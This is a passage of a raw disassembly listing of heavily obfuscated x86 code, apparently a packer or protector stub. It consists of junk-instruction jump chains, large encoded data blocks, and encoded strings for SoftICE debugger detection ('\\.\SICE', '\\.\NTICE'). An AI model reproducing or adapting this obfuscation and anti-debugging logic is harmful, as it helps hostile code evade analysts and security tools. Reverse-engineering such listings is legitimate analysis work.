esi jmp loc_594543 ; --------------------------------------------------------------------------- loc_598D29: ; CODE XREF: .XComp0:00597FA7j pop esi or eax, esi pop esi and eax, 625C354Dh add eax, 796D7196h jmp loc_5928C5 ; --------------------------------------------------------------------------- loc_598D3C: ; CODE XREF: .XComp0:00589615j mov al, 0E3h jmp loc_593BCB ; --------------------------------------------------------------------------- loc_598D43: ; CODE XREF: .XComp0:0059559Fj add ebx, 12814155h mov ecx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_58C335 ; --------------------------------------------------------------------------- loc_598D66: ; CODE XREF: .XComp0:005907A5j pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp idiv cl jmp loc_586C16 ; --------------------------------------------------------------------------- loc_598D78: ; CODE XREF: .XComp0:005863EFj push ebp mov ebp, 620B7FECh and esi, ebp pop ebp xor esi, 15765EC4h mov edi, esi pop esi jmp loc_5926BF ; --------------------------------------------------------------------------- loc_598D8F: ; CODE XREF: .XComp0:005875E6j add ebx, edx mov edx, [esp] jmp loc_598B71 ; --------------------------------------------------------------------------- loc_598D99: ; CODE XREF: .XComp0:0058694Aj mov edx, 0 add edx, ebx add [edx], ebp pop edx pop ebx pop ebp add dword ptr [edi+24h], 97112539h xor edx, edx push 6161h mov [esp], ebp jmp loc_593995 ; --------------------------------------------------------------------------- loc_598DBB: ; CODE XREF: .XComp0:0059375Dj push ebx jmp loc_5937E8 ; --------------------------------------------------------------------------- loc_598DC1: ; CODE XREF: .XComp0:00591BC8j add ecx, ebp pop ebp jmp loc_58E573 ; --------------------------------------------------------------------------- loc_598DC9: ; CODE XREF: .XComp0:00584B40j push 3D6Bh mov [esp], edx push eax mov eax, 2AAF3D9Bh push ebp mov ebp, 26020F53h jmp loc_595B07 ; --------------------------------------------------------------------------- loc_598DE2: ; CODE XREF: .XComp0:005919CCj push ebp mov ebp, 83D1B6Bh xor esi, ebp pop ebp add esi, 0A7398F2Dh jmp loc_5952D8 ; --------------------------------------------------------------------------- loc_598DF6: ; CODE XREF: .XComp0:0058A3BDj pop ebx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi mov edi, 60104B04h push ebp mov ebp, 3CFB569Dh xor ebp, 7F3A0877h jmp loc_584D69 ; --------------------------------------------------------------------------- loc_598E1E: ; CODE XREF: .XComp0:0058FCF6j mov esi, 21BE14E6h push ecx mov ecx, 34A6757Bh add ecx, 11ED7823h shr ecx, 1 jmp loc_596D47 ; --------------------------------------------------------------------------- loc_598E36: ; CODE XREF: .XComp0:0058EA03j mov esp, [esp] div cl movzx cx, ah push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_58726F ; --------------------------------------------------------------------------- loc_598E53: ; CODE XREF: .XComp0:00584C5Cj mov eax, 147745B9h dec eax jmp loc_58431E ; --------------------------------------------------------------------------- loc_598E5E: ; CODE XREF: .XComp0:0058F548j and cl, dh jmp loc_584628 ; --------------------------------------------------------------------------- loc_598E65: ; CODE XREF: .XComp0:0058B8CCj push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, esp jmp loc_58DF1F ; --------------------------------------------------------------------------- loc_598E77: ; CODE XREF: .XComp0:0058C19Bj pop esi jmp loc_58C03C ; --------------------------------------------------------------------------- loc_598E7D: ; CODE XREF: .XComp0:00591851j push ebx pop edx pop ebx inc edx dec edx xor edx, 4E1008B9h jmp loc_584012 ; --------------------------------------------------------------------------- loc_598E8D: ; CODE XREF: .XComp0:00595267j add ebp, 4 xchg ebp, [esp] pop esp push ecx jmp loc_596662 ; --------------------------------------------------------------------------- loc_598E9D: ; CODE XREF: .XComp0:005971EEj add ebx, ecx sub ebx, 211E6A67h sub ebx, 6B1D62B8h push eax jmp loc_588CFA ; --------------------------------------------------------------------------- loc_598EB1: ; CODE XREF: .XComp0:005870EFj add edi, 4A8814A7h jmp loc_589E0B ; --------------------------------------------------------------------------- loc_598EBC: ; CODE XREF: .XComp0:005923B5j push 1DDCh mov [esp], ecx jmp loc_58C017 ; --------------------------------------------------------------------------- loc_598EC9: ; CODE XREF: .XComp0:0059418Ej pop edi add eax, ebp jmp loc_5844AD ; --------------------------------------------------------------------------- loc_598ED1: ; CODE XREF: .XComp0:0058A94Cj mov [esp], edx push 4 pop edx add esi, edx push dword ptr [esp] pop edx push ecx jmp loc_58574F ; --------------------------------------------------------------------------- loc_598EE6: ; CODE XREF: .XComp0:0058EB7Cj add ebp, edx jmp loc_58ED06 ; --------------------------------------------------------------------------- loc_598EED: ; CODE XREF: .XComp0:00590AAFj sub ebp, 348FADB7h add esi, ebp pop ebp add esi, eax sub esi, 3A2554CAh add esi, 4E0C2D72h mov eax, [esp] sub esp, 4 jmp loc_591863 ; --------------------------------------------------------------------------- loc_598F12: ; CODE XREF: .XComp0:0058B7C1j add edx, 1846258Eh or edx, 192376A6h sub edx, 7F63FFEAh mov eax, edx mov edx, [esp] add esp, 4 push esi push 5F4C1704h jmp loc_585F63 ; --------------------------------------------------------------------------- loc_598F37: ; CODE XREF: .XComp0:00594D17j mov cl, bh pop ebx mov ax, [esp] add esp, 2 xor al, cl mov cx, [esp] jmp loc_59548F ; --------------------------------------------------------------------------- loc_598F4F: ; CODE XREF: .XComp0:005951FAj add ecx, esi add ecx, 52790115h pop esi jmp loc_58443E ; --------------------------------------------------------------------------- loc_598F5D: ; CODE XREF: .XComp0:005845B3j xor edx, esi pop esi and eax, edx jmp loc_597665 ; --------------------------------------------------------------------------- loc_598F67: ; CODE XREF: .XComp0:0058E815j pop ecx sub eax, 7EE07ED9h add edi, eax pop eax push edi jmp loc_592F3E ; --------------------------------------------------------------------------- loc_598F76: ; CODE XREF: .XComp0:00590D03j sub ecx, esi pop esi push ebp mov ebp, 219261E4h add ebp, 47EEA8AAh sub eax, ebp pop ebp add eax, 61F54735h add eax, ecx jmp loc_59613B ; --------------------------------------------------------------------------- loc_598F94: ; CODE XREF: .XComp0:00589088j xor edx, [esp] jmp loc_5966FF ; --------------------------------------------------------------------------- loc_598F9C: ; CODE XREF: .XComp0:00592FBCj xor ecx, 0CBFF69B0h sub eax, ecx pop ecx pop edx jmp loc_58BA50 ; --------------------------------------------------------------------------- loc_598FAB: ; CODE XREF: .XComp0:00593E2Cj pop esi pop ebx sub esp, 4 jmp loc_59633A ; --------------------------------------------------------------------------- loc_598FB8: ; CODE XREF: .XComp0:0058F889j pop dword ptr [esp] jmp loc_594E5F ; --------------------------------------------------------------------------- loc_598FC0: ; CODE XREF: .XComp0:00595D04j and esi, 6A0D779Fh neg esi add esi, 6A08158Dh add eax, esi pop esi jmp loc_58812C ; --------------------------------------------------------------------------- loc_598FD6: ; CODE XREF: .XComp0:005841B2j neg dh neg dh push ebx jmp loc_5941BD ; --------------------------------------------------------------------------- loc_598FE0: ; CODE XREF: .XComp0:0058E86Aj push ebx mov bl, 0B2h add bl, 0B8h not bl jmp loc_59628B ; --------------------------------------------------------------------------- loc_598FED: ; CODE XREF: .XComp0:0059137Aj pop ebp sub esp, 4 mov [esp], edi mov edi, 2D372948h add eax, edi pop edi pop esi push 6911h mov [esp], ebp mov ebp, 7EF42768h push ebx mov ebx, 4AA63F4Ch sub ebx, 0A332E8Dh shl ebx, 2 xor ebx, 617B31CEh neg ebx push ebp mov ebp, 447D14DFh add ebp, 685F13F7h shr ebp, 6 jmp loc_58F88E ; --------------------------------------------------------------------------- loc_599038: ; CODE XREF: .XComp0:0058A537j pop esp mov [esp], eax push esp mov eax, [esp] jmp loc_585650 ; --------------------------------------------------------------------------- loc_599045: ; CODE XREF: .XComp0:00573215j jmp loc_5990AB ; --------------------------------------------------------------------------- dw 0ADFCh dd 53555523h, 32335245h, 6C6C642Eh, 56444100h, 33495041h dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 407D8h, 50006h dd 390004h, 36C0018h, 0Ah dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5990AB: ; CODE XREF: .XComp0:loc_599045j jmp loc_599C66 ; --------------------------------------------------------------------------- push 5FBDBF2h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FBDCC6h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FBDE68h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FBE008h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FBE081h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FBE1D2h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FBE242h jmp loc_5734FA ; --------------------------------------------------------------------------- dw 5C83h dd 88688FB5h, 48725587h, 7D5E89BBh, 49715488h, 75AC86BEh dd 0BB61A646h, 0A359B21Ch, 0CC709944h, 9349C429h, 0B2CB8831h dd 2F239AAAh, 0E708EFBAh, 54FAAF26h, 35A8F1DEh, 63A645A3h dd 0C772B772h, 2A063145h, 8EA0042Ah, 0FC9C72A1h, 32EF2F8Eh dd 58213207h, 0D5239CCBh, 4350628h, 1737CEFBh, 76E82E34h dd 7FDB4DFDh, 8F46725Ah, 41A86BBFh, 0BFD380ADh, 124FBC7Fh dd 3183F625h, 30043CAh, 9522C7CEh, 69FED639h, 0BB87A423h dd 0D5431F2Fh, 12AD548Dh, 0BC6D60ADh, 0E62CB79Ah, 0E11849C2h dd 0D0714732h, 37D7C43Dh, 0E217C2BFh, 0A213F6D5h, 71413CD7h dd 0C1BE3DD0h, 0E607E608h, 0C47F227h, 3DD07171h, 31DB31EEh dd 1CD11EFFh, 0DE3BF519h, 0BCAB41F6h, 61F510B9h, 13E02D92h dd 5ECAA266h, 0EBAA8BA4h, 9A000009h, 0C322DA37h, 0A550F41Bh dd 0B91CC043h, 0A84FF510h, 321C344h, 1EE9D18Eh, 2EDDFFE6h dd 1DECCFF6h, 2EDF00E7h, 0F02BCCF6h, 239AAA8Dh, 0CEA3650Ah dd 6D818C31h, 75AC617Eh, 8239389Fh, 0DF46AE5Bh, 727B9BB7h dd 98E172C7h, 152995B7h, 0C9AC668h, 5AA92BD6h, 0C4B5661Ah dd 412995EAh, 68207044h, 8841CAF4h, 98800924h, 4FDFF9F7h dd 40A017E2h, 0C4C93C9Dh, 173ADC15h, 2F91D4C3h, 6C609986h dd 4863BAC6h, 0D562F46Ah, 0E9D403EAh, 35FCAD20h, 1A22A0Fh dd 24559C18h, 0D2AB6891h, 4F239A24h, 8E2DBC52h, 9239C67Bh dd 6B0ED777h, 8F9F6854h, 28717F60h, 5A2330C6h, 0D72399A6h dd 862DC22Ah, 87846A55h, 3D9E5306h, 0B0F0198Eh, 177A7B74h dd 0C6000009h, 973EE62Bh, 0C124D837h, 8D38EC17h, 0C423D92Ch dd 0F74DEF18h, 2ADDFDBAh, 22E9D3F2h, 19F0DBFAh, 32DB04E3h dd 40FE80Ah, 239AA979h, 0CEAF51F6h, 8595E873h, 0E10B2996h dd 27C7B42Ah, 0EFE627C8h, 2536E708h, 29968554h, 981DD4D1h dd 45A80FB8h, 0F618D1C4h, 0EE13DB07h, 96854C2Dh, 3ADCC929h dd 2F591BD5h, 75DC4Dh, 981F0000h, 0FA40D637h, 5578638Ch dd 3BC47DB4h, 0A475788Fh, 0E886A892h, 29968591h, 886FAE0Fh dd 0E891A263h, 65299685h, 44C871B8h, 8CEF9072h, 9C96B84Eh dd 39E03AACh, 6E2A5300h, 3CA02996h, 0AF0FCACBh, 44CF5CF2h dd 2F8FE0BAh, 68914835h, 7B9B6A4Fh, 6486517Ch, 0FBD9A4AFh dd 0A956239Ch, 75BC6D60h, 12C528CFh, 44C12AA9h, 98519851h dd 8381015h, 0CE700000h, 1E793F46h, 5EFD1AF5h, 2995DB1Bh dd 1026EB98h, 0FEDFFCE1h, 6CB9E0Fh, 0F1CDEA8Fh, 0FA6CF81Eh dd 0DBDAA3B0h, 0BA572995h, 95DBE099h, 69A05D29h, 0A4DA79A0h dd 522F8EFCh, 0C818465h, 4441B95Dh, 759835A0h, 848F6ACFh dd 239CBAF9h, 0F9658976h, 13DB016Fh, 0E9E78DD8h, 219E53FBh dd 5C854CB7h, 1E8F7663h, 0CD8EAB4Bh, 2998F614h, 631645FCh dd 0E01DA141h, 0CEB1323h, 35EC25DEh, 47E724CAh, 44A80FEAh dd 19C433C3h, 42A94CF0h, 2CE712C7h, 1DA14151h, 9E6D1CEh dd 36D89104h, 0B9080CADh, 5F341884h, 11848568h, 8F3B9158h dd 4B3A08E7h, 6A53A2B4h, 4D8F58A3h, 5C55BEF9h, 77559h dd 54BD2400h, 66A945B0h, 52B117BEh, 679E4BAAh, 5DAA12B5h dd 67148DA7h, 75608483h, 6590B457h, 76618386h, 6290B459h dd 0A7F38695h, 0FB70239Ah, 78638C3Dh, 0E891C253h, 65299685h dd 0AD7C71B8h, 2FC87164h, 19D87E8Dh, 7C5459B4h, 7E793521h dd 3349AB60h, 543A2014h, 0C7BF92A4h, 6D299675h, 9671CBAEh dd 965B4829h, 2F49AA43h, 0FE6D6D4Dh, 47B0FFFFh, 96E774A3h dd 13299665h, 53BDB16h, 7D8831CEh, 3BB51AD9h, 71C956CEh dd 0CBC207E3h, 0E02B912Eh, 4184124Eh, 51D293B9h, 18F7D799h dd 18E118D1h, 95A982FBh, 9502FF29h, 7E2D336h, 31094AE7h dd 672F8EB9h, 0EFCC1765h, 0E1B83DCCh, 0BA6D520Bh, 7D9F5C94h dd 54BB239Ch, 0B830A6C2h, 2900F516h, 0E01A39E0h, 96299643h dd 4449C429h, 59907763h, 4D403DB5h, 0A414B0C6h, 54828D1Dh dd 0DD28FE72h, 8F39C646h, 0D046E274h, 0A0000001h, 0FB04A8F1h dd 8F641ACEh, 56A6EA71h, 79EF7B9Bh, 0D9FFF821h, 60F6A32Ah dd 0AECA48D3h, 601D2F8Eh, 0A77A53B9h, 36764AC5h, 4E141F20h dd 3CFD75B3h, 79235605h, 309949C1h, 9509E0D5h, 8C1A46E8h dd 2270AB56h, 754FBAA1h, 3950588h, 309045A5h, 0F63BEEDFh dd 3ADF2AFFh, 0E3BA5AD2h, 0B2449FF8h, 0CB09D685h, 9BBA49C0h dd 0E811D82Fh, 0CD1FEECFh, 13E0BC93h, 8EAB4BC2h, 47A44C71h dd 7D475297h, 126DE13h, 6D621B38h, 0F0DF3DCEh, 0E0B93CCDh dd 9E60529h, 1E20B704h, 0D1E25EC4h, 5D5E4h, 0B45D8400h dd 86896590h, 0B251775Eh, 877E6B8Ah, 0BD4A7255h, 4774AD87h dd 15C064A3h, 45B054B7h, 16C163A6h, 42B054B9h, 0A593E675h dd 5B10239Ah, 3169FF9Dh, 57223108h, 0D4299685h, 0E92A0727h dd 2F926005h, 8CED2ED3h, 9239AABh, 502FA1Ch, 11F8E3DCh dd 28E10CEBh, 1FE406F1h, 0EE13D60Fh, 0FF1CE7D1h, 239AAB7Eh dd 9E80EFBh, 15CA29E4h, 7B0F7DCh, 55C07EEh, 0E40B0000h dd 0F0D0F72Dh, 0F0DAFD1Fh, 0E506F113h, 0F1D9FC20h, 0DD54EE16h dd 13C93E9Eh, 0DB010AB4h, 438D1FCh, 0EB11FCE1h, 5A233009h dd 0D7239AA5h, 638CCE72h, 5B805378h, 0BB6E5FAAh, 85A4D586h dd 64212996h, 9E3F28ADh, 0A66B9E3Dh, 63A4482Fh, 0A4678572h dd 86D4B331h, 0A1AD08D8h, 96875F27h, 0F219C329h, 1C370237h dd 29968361h, 0F80D21DEh, 4D2F5F67h, 0FFFC4E20h, 1546FBFFh dd 29967764h, 2C1224E1h, 0CEAD46CEh, 0D479DAA8h, 30AB342h dd 228E1892h, 5B864BB8h, 5B0475A6h, 84812996h, 8096C572h dd 0FE2F8F64h, 0D2FAD701h, 20E9C035h, 0A25AFCADh, 0CEE13FE5h dd 8595E873h, 0E9202996h, 5B5CD80Ch, 0FF0F0CF2h, 34A25955h dd 0EA2833EEh, 782F8F93h, 0CB94EE94h, 6EE7EA6h, 690164D4h dd 0C72FBFEEh, 6B282BDAh, 28CBB451h, 42BD64BEh, 7B943C9Bh dd 636A9F7Ah, 7EB35C84h, 8AAC5781h, 93206EADh, 0B673817Eh dd 0F53DAB3Fh, 8C441366h, 0E9819E75h, 5F3A274Ch, 9247827Fh dd 85955E81h, 0B1F50F7Bh, 46FC4AE4h, 19A65B96h, 8A5F56B1h dd 8572C764h, 7E2BA265h, 3CB419D8h, 72EB0D9Eh, 0ED0FDAF5h dd 0CB28E50Ah, 0F0FE7E0h, 0BECF9FAh, 0BA000004h, 0A342FA17h dd 0C530D43Bh, 993CE023h, 0C82FD530h, 0E341E324h, 3EC9F1AEh dd 0EFDDF06h, 3DCCEFD6h, 0EFFE007h, 104BECD6h, 239AA46Dh dd 0FFC385EAh, 4083169h, 9F99AE40h, 22BE398Ah, 1D31E8EDh dd 0EECEE910h, 31C59419h, 9164DA1Eh, 75AC592Fh, 7EA6638Ah dd 49BE1E99h, 62A746A5h, 78638C6Bh, 0A07BB657h, 0B0F0D13Fh dd 9B492C45h, 4A000003h, 13B26AA7h, 15C064ABh, 49AC50B3h dd 18BF65A0h, 93B153B4h, 8E79611Eh, 0BE4D6F56h, 8D7C5F86h dd 0BE4F7057h, 809B5C86h, 239AA3FDh, 0FF33D57Ah, 15B64169h dd 851A63F0h, 0B8972996h, 2801F415h, 48F128E1h, 4DDA1BF1h dd 41B8D7F5h, 9598C7B2h, 60574429h, 56038A7Bh, 736B8DC0h dd 0DC252F91h, 99BE3E3Fh, 28CEBB23h, 0D32ED3D0h, 7F178401h dd 0E7CD7857h, 0BD7A0E9Dh, 12E175BBh, 3EB960ADh, 6DC7679Ch dd 0E3367FDh, 64D0E133h, 0E4D31E7Bh, 0F0C40DF6h, 0EE50DAD1h dd 0D376980Eh, 2399DEB4h, 0CC6D601Dh, 0DE93E675h, 0E5092399h dd 10F6A32Ah, 0DE85F823h, 5022399h, 1FCB2ACCh, 0BB44E5E8h dd 25F4F910h, 61897211h dd 57847BA6h, 0DC7227AEh, 0FC7CE652h, 4AEF3AD3h, 0F5E808EFh dd 0F9FC35D8h, 0F312B720h, 0DE95F063h, 0D3022399h, 0C2971EE5h dd 6E5D207h, 37D79203h, 65090BAEh, 77AA6E02h, 7E5F8EA0h dd 0F4A91E8Fh, 0B2BE20Bh, 0F4D803ECh, 2C7A213h, 9FAE0D7h dd 0F741D584h, 7DE0BA12h, 0C89FEBADh, 69D5DC7Ch, 143AEF7Ch dd 0A015F8D5h, 0C02959FCh, 85675045h, 0C6280F86h, 94995045h dd 0EFE7B7A3h, 0C649A512h, 5F41ACFh, 67BF15D9h, 71662014h dd 5E7F6E80h, 5FAA5D7Dh, 8F785CBDh, 0A5536ACBh, 0DF00EFFFh dd 0E20CF32Eh, 61F5A429h, 0DC3B9F88h, 9A753E3Fh, 0E6CEBB23h dd 57061117h, 0B36EA360h, 83F3B61h, 51E51309h, 3D29FC98h dd 5D7F8E2Fh, 40B5527Ah, 0EBC8B99Ch, 0C3740516h, 34F12399h dd 0F5F7E322h, 50732D5h, 41EF30F4h, 51EB0B97h, 918AE4E8h dd 0C0D81497h, 0BA1BBF2Eh, 2900F512h, 37D339E0h, 0DD691084h dd 8E0376A5h, 83802399h, 383FA84Eh, 0D9817495h, 0AF8A2432h dd 998DD9A4h, 85A95623h, 5B818666h, 6688537Ch, 0B07930A5h dd 5C987C3Dh, 705B553Eh, 5D5EF105h, 4FDC0D97h, 25179E6Dh dd 5018DF8Bh, 0B41986E0h, 57B65459h, 33DF360Bh, 0FFA3E39Eh dd 90B30CAh, 91291FAAh, 0F807278Fh, 11BB44EAh, 389554FAh dd 27C82FD5h, 55063BE6h, 6B268F24h, 9952E4A1h, 0AB35FCD0h dd 8B275201h, 0F7A46B26h, 0F8A7F015h, 2688225Bh, 27E29F6Bh dd 304E807h, 0C245A592h, 902ECCBh, 9DC9C484h, 6F7B4CC1h dd 74AD607Dh, 0F9BB2A0h, 53E3A429h, 5AF940E9h, 6B26941Fh dd 0A04FDF9Ch, 53C7CE3Fh, 89806BC5h, 6FAC5504h, 6B26950Eh dd 0AE539E8Bh, 88816C53h, 8FC25405h, 711FC9A7h, 760714EDh dd 0F3652D60h, 0F9D82036h, 44FD34CFh, 0F5F80FBBh, 0FF281224h dd 6060193Ah, 3DD652Dh, 0A8027DE5h, 77975212h, 0FC257DEBh dd 0C2631645h, 0F3D9652Ch, 13F9A618h, 3193D634h, 0AE8BAB28h dd 28D2656Dh, 0CE73306Bh, 0F3EA6A46h, 97B7DD6Dh, 8984694Eh dd 0C24B7453h, 0D86B48CBh, 1CEBB008h, 0BFAC20CEh, 81FC179Dh dd 0FE0E587Eh, 0D842AB01h, 2F3E046Dh, 4A7FA045h, 75A845A4h dd 57A093E6h, 0DE13100Eh, 0D4F60126h, 0E122C82Fh, 0DA193DECh dd 2D8F28F5h, 0F102D7DEh, 0E57A088h, 992A2E13h, 0A2044DCCh dd 0C80108B3h, 0D2ED8C01h, 0FBFA1CE9h, 14B637CEh, 0CF45E9F5h dd 0CDACD6C3h, 9655F987h, 922DD439h, 1EEEDF2Ch, 1CB73D0Eh dd 9DB17829h, 828B3493h, 871A257h, 7E0E5849h, 4734AA5Fh dd 179E6F50h, 3233AC42h, 0Ah, 0C5320F8Eh, 3AEFE629h, 658C1E14h dd 0A13E29ACh, 5F7E696Ch, 9A4423AAh, 4F7B7C71h, 8A3235B8h dd 4A6F787Dh, 8B2D3ABBh, 4E727578h, 681BCCC1h, 23EBh, 81243489h dd 4ECh, 241C8900h, 6BAE68h, 24148900h, 0CC6B4EBBh, 3EBC158h dd 5A1CB81h, 55433658h, 5DB2E1BDh, 5DEB2939h, 4EC81h, 24890000h dd 24048124h, 4, 755D685Ah, 1C890000h, 8428F24h, 5A2434FFh dd 8B04C483h, 8950241Ch, 405E0h, 0C0830000h, 24048704h dd 98A0E95Ch, 0AAC8FFFDh, 0C2E5CF9h, 0CBC00574h db 94h, 3Eh ; --------------------------------------------------------------------------- loc_599C66: ; CODE XREF: .XComp0:loc_5990ABj mov eax, 5FBE602h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 30h ; --------------------------------------------------------------------------- wait add eax, 93D31A1Ch inc edx clc mov edi, 0FDDC2998h pop edi adc ch, [ecx] mov al, fs:416A7E0Eh db 67h xor edx, eax xor bh, [eax] sbb esi, [edi] mov dl, 55h adc edi, [ecx-73E19569h] retn 506Ah ; --------------------------------------------------------------------------- dd 710D2183h, 3D29D858h, 603202D1h, 0FC0505B0h, 857730A5h dd 0C9474B28h, 0E8144761h, 10h, 0E1AA0098h, 0E3E5ABABh dd 991E9A51h, 5240D8C3h, 0DE8B58F5h, 5956C081h, 0B9F80000h dd 2C9EAC2Eh, 95F7E981h, 0E8602C9Eh, 5, 0B098BBF6h, 5E6160CEh dd 6AB7DB81h, 8B61614Fh, 67F28110h, 6630038Ch, 81913BBBh dd 0D0DED0F2h, 0ECC38064h, 0BA13F281h, 8B664589h, 661089F3h dd 4E5AE681h, 914BE881h, 0FB8B638Fh, 9147C081h, 81F5638Fh dd 1E9h, 0C0850F00h, 0FFFFFFFh, 8EE9D9BFh, 60000000h, 1201BD83h dd 0F0005F9h, 584h, 79E900h, 6A0000h, 0F303E80h, 885h dd 46006A00h, 35E9h, 333E8000h, 8850Fh, 106A0000h, 24E946h dd 3E800000h, 8850F34h, 6A000000h, 13E94630h, 80000000h dd 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah, 12850F20h, 80000000h dd 0F00017Eh, 885h, 8C48300h, 16E9h, 5858D00h, 5005F91Ah dd 50240489h, 6A243489h, 2595FF00h, 6105F909h, 9985C6C3h dd 4D05F918h, 0AD52A68h, 24048160h, 442AA17Eh, 2109B5FFh dd 858D05F9h, 5F93A6Ah, 8589D0FFh, 5F90925h, 5C5C1EEBh dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h dd 544E5C2Eh, 454349h, 8D8BC08Bh, 5F93145h, 6258D89h, 0BD8305F9h dd 5F931C9h, 83097500h, 0F912B5BDh, 19740005h, 0C08B5350h dd 40FB8h, 0E9858900h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h dd 0B5BD8358h, 5F912h, 53501774h, 40FB8h, 0E9858900h, 8D05F928h dd 0FBF0739Dh, 5BD3FF05h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 8D923594h dd 52006A42h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 8E83Bh, 1FCF0000h, 4969592Fh, 8B5E3535h dd 0F92835BDh, 50C08B05h, 9985C65Ah, 4305F918h, 0E1685E57h dd 0B9BCB25Eh, 527BC58Ch, 1D243481h, 8A003C30h, 19B5FFD0h dd 6A05F927h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B26C356h, 0F910A18Dh, 0D5852905h dd 8D05F918h, 0F93A6A85h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 2C70779Ch dd 68FE5045h, 9D89D0FFh, 5F91EE9h, 0FE1BB990h, 8B506D78h dd 0CE8A90F7h, 9D31006Ah, 5F900A5h, 0CA871168h, 81D08B12h dd 87912434h, 6A12CAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0D9810BC3h, 189925A5h, 6A036Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8D012CC3h, 5F92971h, 958B006Ah, 5F91219h, 24B5036Ah dd 6319A268h, 20EEBAAAh, 34814191h, 6319A224h, 0F1B5296Ah dd 8D05F905h, 0FBE8059Dh, 13E805h, 4A260000h, 0DE2805CCh dd 8E138B04h, 763CB55Ch, 415F3919h, 71B58980h, 5A05F908h dd 28E0F93h, 8A000000h, 0CB250D0h, 2830F93h, 8B000000h dd 8BD0FFF9h, 850F40D6h, 268h, 32E58D8Bh, 895805F9h, 0F905D5BDh dd 8B665005h, 240489C8h, 12E9006Ah, 36000000h, 79F1D2C0h dd 0D58DF758h, 76A9D51Fh, 2C17FB6Ch, 65CB68C2h, 51601BFCh dd 8D0Fh, 505B0000h, 91BB6652h, 50310F79h, 61585A5Ah, 4B243481h dd 6A1BFC65h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0F25AC352h, 9E9h, 0DD025D00h dd 0E05169B1h, 36AAA53h, 0C88B006Ah, 0BA66036Ah, 4E822BAh dd 0 dd 50C00000h, 68A0Fh, 52500000h, 585A310Fh, 12E85059h dd 2D000000h, 5AAF332Eh, 23013B74h, 1025906h, 0A3F97B24h dd 58B0F6Ch, 0B9000000h, 6A81AE2Dh, 24448B5Ah, 8B566004h dd 0F6B358FEh, 0E9008B61h, 10h, 0CB65DAE1h, 3B535FBBh dd 8F6331D6h, 0AB873386h, 4244489h, 6658CF8Bh, 8D6C27BEh dd 0FBE80E9Dh, 0B1B58B05h, 9305F92Dh, 0B9665250h, 310F96CDh dd 2860Fh, 0F28B0000h, 0F50585Ah, 8Ah, 6A9300h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 1120D9C3h, 6E9h, 0CF555400h, 0FFA7ACF1h, 8D958BD0h dd 4005F921h, 11A850Fh, 95890000h, 5F9101Dh, 0B0B15358h dd 0F609059h, 684h, 0F525000h, 51585A31h, 615BC28Bh, 0E840F50h dd 60000000h, 8F0Fh, 52500000h, 585A310Fh, 0D1809061h dd 29006AFFh, 0F915058Dh, 920E6805h, 52508DD3h, 6EE0CBFh dd 66310F4Dh, 5AE6A4BAh, 24048158h, 722C6E72h, 77FB70B9h dd 0F08B665Dh, 8D0F036Ah, 3, 6AF38B66h, 69958B00h, 6A05F910h dd 0AB906803h, 8B66D502h, 243481D7h, 1502AB90h, 199D8DF8h dd 0F05FBE8h, 68Fh, 8C0F00h, 93000000h, 0C860F50h, 0F000000h dd 68Fh, 8D0F00h, 93000000h, 2DF98589h, 0D0FF05F9h, 0DF816660h dd 7E9F0F3h, 3D000000h, 62356433h, 0E861E99Fh, 6, 5078206Ah dd 0CC8A04CBh, 850F4059h, 3Ch, 26E58D8Bh, 6A5805F9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 45E2C357h, 0A33CB076h, 234B0581h, 0F92879BDh, 0F6E905h dd 85890000h, 5F93111h, 14E8D88Bh, 0F1000000h, 0F58A484Ch dd 7380EEE2h, 944ADE36h, 791C9A1Fh, 8B46CC1Dh, 0F9182DB5h dd 894B5E05h, 0F919EDBDh, 13E95805h, 0FB000000h, 4FB10B69h dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 85C68B3Ah, 5F91899h dd 81BD8943h, 6805F913h, 0AA045670h, 3481FE8Bh, 721CD724h dd 0C681666Ah, 0B5FF627Fh, 5F92719h, 0FE27B966h, 200D958Bh dd 858D05F9h, 5F93A6Ah, 0FFD18B66h, 6093F9D0h, 8BF08B60h dd 506161DAh, 0FDD8BE66h, 84BA6693h, 6AD0FF00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0F3F6C350h, 859D8DA2h, 105F972h, 0F9002995h, 5AF95305h dd 1B8h, 6840F00h, 89000000h, 0F92615B5h, 6AE3FF05h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D4D3C350h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0B3217FC3h, 6820Fh, 66520000h, 5E6DE3BAh dd 83F9C08Bh, 0F931C9BDh, 9750005h, 12B5BD83h, 740005F9h dd 8B535019h, 40FB8C0h, 85890000h, 5F915DDh, 0F3EB9D8Dh dd 0D3FF05FBh, 0BD83585Bh, 5F912B5h, 50177400h, 40FB853h 